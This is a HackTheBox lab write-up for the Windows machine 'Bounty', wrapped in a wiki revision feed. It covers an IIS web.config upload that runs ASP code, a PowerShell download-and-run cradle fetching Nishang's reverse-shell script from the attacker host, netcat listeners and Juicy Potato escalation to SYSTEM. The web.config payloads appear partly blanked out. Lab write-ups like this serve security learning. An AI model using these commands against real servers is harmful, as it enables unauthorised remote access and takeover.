<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FBounty</id>
	<title>Write-ups/HTB/Bounty - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FBounty"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Bounty&amp;action=history"/>
	<updated>2026-04-21T16:18:41Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/Bounty&amp;diff=1194&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 20:38, 7 March 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Bounty&amp;diff=1194&amp;oldid=prev"/>
		<updated>2022-03-07T20:38:17Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Bounty&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Windows&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = IIS, web.config Upload, Juicy Potato&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-03-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On this Windows machine I abused an upload vulnerability to get remote code execution. When trying to upload a webshell, I got an error message hinting that uploading a web.config was allowed. There is a great post about uploading a web.config with command execution possiblity. To elevate my privilege I used Juicy potato vulnerability to execute a PowerShell script that gave me a shell as &amp;#039;&amp;#039;&amp;#039;NT AUTHORITY\SYSTEM&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll start with an NMAP scan.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/bounty]&lt;br /&gt;
└─# nmap -p- -sC -sV --min-rate 10000 10.10.10.93 -oN nmap.ver&lt;br /&gt;
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-03 14:58 EST&lt;br /&gt;
Nmap scan report for 10.10.10.93&lt;br /&gt;
Host is up (0.031s latency).&lt;br /&gt;
Not shown: 65534 filtered tcp ports (no-response)&lt;br /&gt;
PORT   STATE SERVICE VERSION&lt;br /&gt;
80/tcp open  http    Microsoft IIS httpd 7.5&lt;br /&gt;
|_http-title: Bounty&lt;br /&gt;
|_http-server-header: Microsoft-IIS/7.5&lt;br /&gt;
| http-methods:&lt;br /&gt;
|_  Potentially risky methods: TRACE&lt;br /&gt;
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There is only one port open. Port &amp;#039;&amp;#039;&amp;#039;80&amp;#039;&amp;#039;&amp;#039; running &amp;#039;&amp;#039;&amp;#039;IIS httpd 7.5. &amp;#039;&amp;#039;&amp;#039;This version of IIS is telling me that this is a &amp;#039;&amp;#039;&amp;#039;Windows Server 2008 R2. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Looking at the webserver.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-03-Pasted-image-20220203211005.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There is a picture of Merlin the Wizard.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Directory brute force ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll use &amp;#039;&amp;#039;&amp;#039;gobuster &amp;#039;&amp;#039;&amp;#039;to do a directory brute force.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/bounty]&lt;br /&gt;
└─# gobuster dir -u http://10.10.10.93 -w /usr/share/wordlists/dirb/common.txt -x php,aspx,sh,txt,c,vb&lt;br /&gt;
===============================================================&lt;br /&gt;
Gobuster v3.1.0&lt;br /&gt;
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)&lt;br /&gt;
===============================================================&lt;br /&gt;
[+] Url:                     http://10.10.10.93&lt;br /&gt;
[+] Method:                  GET&lt;br /&gt;
[+] Threads:                 10&lt;br /&gt;
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt&lt;br /&gt;
[+] Negative Status codes:   404&lt;br /&gt;
[+] User Agent:              gobuster/3.1.0&lt;br /&gt;
[+] Extensions:              php,aspx,sh,txt,c,vb&lt;br /&gt;
[+] Timeout:                 10s&lt;br /&gt;
===============================================================&lt;br /&gt;
2022/02/03 15:07:08 Starting gobuster in directory enumeration mode&lt;br /&gt;
===============================================================&lt;br /&gt;
/aspnet_client        (Status: 301) [Size: 156] [--&amp;gt; http://10.10.10.93/aspnet_client/]&lt;br /&gt;
/transfer.aspx        (Status: 200) [Size: 941]&lt;br /&gt;
/uploadedfiles        (Status: 301) [Size: 156] [--&amp;gt; http://10.10.10.93/uploadedfiles/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It found three directories. The two interesting directories here is &amp;#039;&amp;#039;&amp;#039;/transfer.aspx &amp;#039;&amp;#039;&amp;#039;and &amp;#039;&amp;#039;&amp;#039;/uploadedfiles.&amp;#039;&amp;#039;&amp;#039; This tells me that there is a possible upload vulnerability where I could upload a webshell and get command execution.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Uploading webshells ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I tried many diferent ways to bypass server side filtering.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* ASPX is not allowed to upload. * JPEG and PNG is allowed* Editing MIME and magic numbers on the web shell did not work either. * I also tried null byte technique where I add &amp;#039;&amp;#039;&amp;#039;%00.png &amp;#039;&amp;#039;&amp;#039;but that didnt work.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-03-Pasted-image-20220203225342.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-03-Pasted-image-20220203233801.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Error message ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Looking at the error message we get a hint as of what type of file we could upload. Trying to upload a &amp;#039;&amp;#039;&amp;#039;web.config&amp;#039;&amp;#039;&amp;#039; file worked.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There is a great blogpost by [https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/ Soroush Dalil] about running &amp;#039;&amp;#039;&amp;#039;ASP &amp;#039;&amp;#039;&amp;#039;code in a web.config file. Looking at the code snippet below that I&amp;#039;ll upload, it will output the number &amp;#039;&amp;#039;&amp;#039;5. &amp;#039;&amp;#039;&amp;#039;If I see the number 5 that means that I could run ASP code.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;quot;)&lt;br /&gt;
&amp;#039; it is running the ASP code if you can see 5 by opening the web.config file!&lt;br /&gt;
Response.write(1+4)&lt;br /&gt;
Response.write(&amp;quot;&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Upload web.config ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uploading the web.config with the ASP code at the bottom worked and I can run ASP code on the website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-03-Pasted-image-20220203225720.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Initial Access - Shell as Merlin ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll edit the web.config with the ASP code and a PowerShell command to download and run &amp;#039;&amp;#039;&amp;#039;Nishang&amp;#039;s &amp;#039;&amp;#039;&amp;#039;Invoke-ReverseTCP.ps1.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/bounty]&lt;br /&gt;
└─# cat web.config                                                                                                                                       1 ⨯&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Visiting &amp;#039;&amp;#039;&amp;#039;10.10.10.93/uploadedfiles/web.config&amp;#039;&amp;#039;&amp;#039; I get a response on my listener.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/bounty]&lt;br /&gt;
└─# rlwrap nc -lvnp 4444                                                                                                                                 1 ⨯&lt;br /&gt;
listening on [any] 4444 ...&lt;br /&gt;
connect to [10.10.14.18] from (UNKNOWN) [10.10.10.93] 49162&lt;br /&gt;
Windows PowerShell running as user BOUNTY$ on BOUNTY&lt;br /&gt;
Copyright (C) 2015 Microsoft Corporation. All rights reserved.&lt;br /&gt;
&lt;br /&gt;
whoami&lt;br /&gt;
bounty\merlin&lt;br /&gt;
PS C:\windows\system32\inetsrv&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Enumerate machine ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
whoami /priv&lt;br /&gt;
&lt;br /&gt;
PRIVILEGES INFORMATION&lt;br /&gt;
----------------------&lt;br /&gt;
&lt;br /&gt;
Privilege Name                Description                               State&lt;br /&gt;
============================= ========================================= ========&lt;br /&gt;
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled&lt;br /&gt;
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled&lt;br /&gt;
SeAuditPrivilege              Generate security audits                  Disabled&lt;br /&gt;
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled&lt;br /&gt;
SeImpersonatePrivilege        Impersonate a client after authentication Enabled&lt;br /&gt;
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I have &amp;#039;&amp;#039;&amp;#039;SeImpersonatePrivilege &amp;#039;&amp;#039;&amp;#039;which mean I could abuse Juicy Potato.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SeImpersonatePrivilege (3.1.1)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
Any process holding this privilege can &amp;#039;&amp;#039;&amp;#039;impersonate&amp;#039;&amp;#039;&amp;#039; (but not create) any &amp;#039;&amp;#039;&amp;#039;token&amp;#039;&amp;#039;&amp;#039; for which it is able to gethandle. You can get a &amp;#039;&amp;#039;&amp;#039;privileged token&amp;#039;&amp;#039;&amp;#039; from a &amp;#039;&amp;#039;&amp;#039;Windows service&amp;#039;&amp;#039;&amp;#039; (DCOM) making it perform an &amp;#039;&amp;#039;&amp;#039;NTLM authentication&amp;#039;&amp;#039;&amp;#039; against the exploit, then execute a process as &amp;#039;&amp;#039;&amp;#039;SYSTEM&amp;#039;&amp;#039;&amp;#039;. Exploit it with [https://github.com/ohpe/juicy-potato juicy-potato], [https://github.com/antonioCoco/RogueWinRM RogueWinRM] (needs winrm disabled), [https://github.com/CCob/SweetPotato SweetPotato], [https://github.com/itm4n/PrintSpoofer PrintSpoofer].&lt;br /&gt;
&lt;br /&gt;
h[https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-abusing-tokens ttps://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-abusing-tokens]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Privilege Escalation ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To get NT AUTHORITY\SYSTEM privilege I&amp;#039;ll do the following:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Create an exploit.bat file with the following command &amp;lt;code&amp;gt;powershell -nop -exec bypass -c IEX(New-Object Net.WebClient).DownloadString(&amp;#039;http://10.10.14.18:9000/Invoke-PowerShellTcp.ps1&amp;#039;)&amp;lt;/code&amp;gt; This is the same code we used to get a reverse shell. I&amp;#039;ll add&amp;lt;code&amp;gt; Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.18 -Port 5555 &amp;lt;/code&amp;gt;to the bottom of the nishang script. * Copy the &amp;#039;&amp;#039;&amp;#039;exploit.bat &amp;#039;&amp;#039;&amp;#039;and &amp;#039;&amp;#039;&amp;#039;JuicyPotato.exe&amp;#039;&amp;#039;&amp;#039; file to the target machine. * Start a netcat listener * And run Juicy Potato.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PS C:\Windows\Temp&amp;gt; ./JuicyPotato.exe -t * -p exploit.bat -l 4444&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-t createprocess call:  CreateProcessWithTokenW,  CreateProcessAsUser,  try both&lt;br /&gt;
-p : program to launch&lt;br /&gt;
-l : COM server listen port&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Looking at my listener I have a connection and a shell as NT AUTHORITY\SYSTEM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/bounty]&lt;br /&gt;
└─# rlwrap nc -lvnp 5555&lt;br /&gt;
listening on [any] 5555 ...&lt;br /&gt;
connect to [10.10.14.18] from (UNKNOWN) [10.10.10.93] 49180&lt;br /&gt;
Windows PowerShell running as user BOUNTY$ on BOUNTY&lt;br /&gt;
Copyright (C) 2015 Microsoft Corporation. All rights reserved.&lt;br /&gt;
&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What I&amp;#039;ve learned ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Since I had the possibility to upload web.config file to the webserver I was able to run ASP code on the server by embedding ASP code at the bottom of the web.config file. And that way I could execute arbitrary code and get a reverse shell.* Sice Merlin had SeImpersonatePrivilege enabled I could use Juicy Potato to get a reverse shell. Its important to be careful about what privilege sysadmins gives to a user.&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Windows]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>